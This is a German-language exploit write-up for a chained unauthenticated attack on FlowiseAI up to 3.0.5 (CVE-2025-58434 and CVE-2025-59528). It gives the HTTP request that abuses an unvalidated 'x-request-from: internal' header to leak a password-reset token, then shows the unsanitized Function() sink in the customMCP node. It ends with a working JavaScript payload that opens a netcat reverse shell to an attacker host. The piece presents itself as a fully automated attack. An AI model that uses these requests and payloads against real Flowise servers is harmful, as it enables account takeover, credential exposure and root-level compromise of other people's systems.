Kritische nicht authentifizierte Angriffskette, die zu vollständigem RCE in FlowiseAI führt (CVE-2025-58434 + CVE-2025-59528)
Unauthentifizierte Account-Übernahme, kombiniert mit Remote-Code-Ausführung gegen FlowiseAI
<= 3.0.5.
Vollständige Container-Kompromittierung in unter 5 Sekunden, keine Anmeldeinformationen erforderlich.
Links: FlowiseAI-Login-Seite — Rechts: Root-Shell via CVE-2025-59528 · uid=0(root)
Dieser Exploit verknüpft zwei unabhängige kritische Schwachstellen zu einem einzigen vollautomatisierten Angriff. Keine der Schwachstellen allein garantiert eine vollständige Kompromittierung – aber zusammen bilden sie eine vollständige Angriffskette von Null-Anmeldeinformationen zu einer Root-Shell innerhalb eines Docker-Containers.
[Keine Anmeldeinformationen]
│
▼
① Missbrauch des 'Passwort vergessen'-Endpunkts (keine Authentifizierung erforderlich)
│ → Server antwortet mit dem Reset-Token des Opfers im Klartext
▼
② Token an den Passwort-Reset-Endpunkt senden
│ → Angreifer kontrolliert das Admin-Passwort
▼
③ Anmelden + Bearer-API-Schlüssel abrufen
│ → Vollständige authentifizierte Sitzung hergestellt
▼
④ JavaScript-Payload über customMCP-Node senden
│ → Server wertet sie über Function()-Konstruktor aus
▼
[Root-Shell im Docker-Container]
Was es interaktionsfrei macht: Zu keinem Zeitpunkt erhält das Opfer eine E-Mail, sieht einen Anmeldehinweis oder löst ein sichtbares Ereignis aus. Der Angriff erfolgt vollständig serverseitig.
CVSS 3.1: 9.8 Critical — AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
Betroffen: FlowiseAI <= 3.0.5 (Cloud + selbst gehostet)
Advisory: GHSA-wgpv-6j63-x5ph
FlowiseAI hat ein Konzept von „internen“ Anfragen – API-Aufrufe zwischen eigenen Diensten –, die durch den HTTP-Header x-request-from: internal identifiziert werden. Der Endpunkt /api/v1/account/forgot-password verwendet diesen Header, um die Authentifizierung vollständig zu überspringen und eine andere, ausführlichere Antwort zurückzugeben, als dies bei externen Aufrufern der Fall wäre.
Das Problem: dieser Header wird in keiner Weise validiert oder eingeschränkt. Jeder Angreifer im Internet kann ihn senden. Wenn dies geschieht, löst die API keine E-Mail zum Zurücksetzen des Passworts aus, sondern gibt stattdessen den vollständigen Benutzerdatensatz zurück – einschließlich eines aktiven tempToken, das sofort zum Festlegen eines neuen Passworts verwendet werden kann.
Normalerweise sieht ein Passwort-Reset-Ablauf wie folgt aus:
Benutzer fordert Reset an → Server generiert Token → Token per E-MAIL gesendet → Benutzer klickt auf Link → Passwort geändert
Hier überspringt der Server den E-Mail-Schritt vollständig und legt das Token direkt in den HTTP-Antwortkörper. Der Angreifer fängt es ab und geht direkt zum Reset-Schritt über – kein E-Mail-Zugriff erforderlich.
POST /api/v1/account/forgot-password HTTP/1.1
Host: <target>
Content-Type: application/json
x-request-from: internal
{"user": {"email": "[email protected]"}}
201 — vollständiger Benutzerdatensatz offengelegt{
"user": {
"email": "[email protected]",
"credential": "$2a$05$hVtF9EKL0lI1qqrvwTD3QeFMzVlvtk8fAKX...",
"tempToken": "N5oXQ9C99h0zMNNGWLvoE4buMvcdXN32...",
"tokenExpiry": "2026-04-11T21:37:03.063Z",
"status": "active"
}
}
Das tempToken wird dann direkt an den Reset-Endpunkt gesendet – keine E-Mail-Interaktion, kein CAPTCHA, keine Ratenbegrenzung.

CVSS 3.1: 10.0 Critical — AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H
Betroffen: FlowiseAI <= 3.0.5
Advisory: GHSA-3gcm-f6qx-ff7p
FlowiseAI erlaubt Benutzern, benutzerdefinierte MCP (Model Context Protocol)-Nodes mit einer als JSON-String bereitgestellten Serverkonfiguration zu definieren. Intern muss die Plattform diese Konfiguration parsen – und das geschieht mit dem Function()-Constructor von JavaScript, der funktional äquivalent zu eval() ist.
Der Konfigurationsstring erreicht die Senke vollständig unbereinigt:
// packages/components/nodes/tools/MCP/CustomMCP/CustomMCP.ts — line 262
const result = Function('return ' + mcpServerConfig)();
// ↑ unsanitized user input — arbitrary JS execution
Function() genauso gefährlich ist wie eval()Function('return ' + code)() tut Folgendes:
code als KörperDies gibt dem Angreifer einen vollständigen JavaScript-Ausführungskontext mit Zugriff auf process, require, child_process und die gesamte Node.js-Laufzeit – keine Sandbox.
HTTP POST /api/v1/node-load-method/customMCP
└─ body.inputs.mcpServerConfig ← vom Angreifer kontrollierter String
└─ substituteVariablesInString() ← keine Filterung, wird durchgereicht
└─ convertToValidJSONString() ← keine Filterung, wird durchgereicht
└─ Function('return ' + input)() ← beliebiger Code wird hier ausgeführt
({x:(function(){
const cp = process.mainModule.require("child_process");
cp.exec("rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|sh -i 2>&1|nc LHOST LPORT >/tmp/f");
return 1;
})()})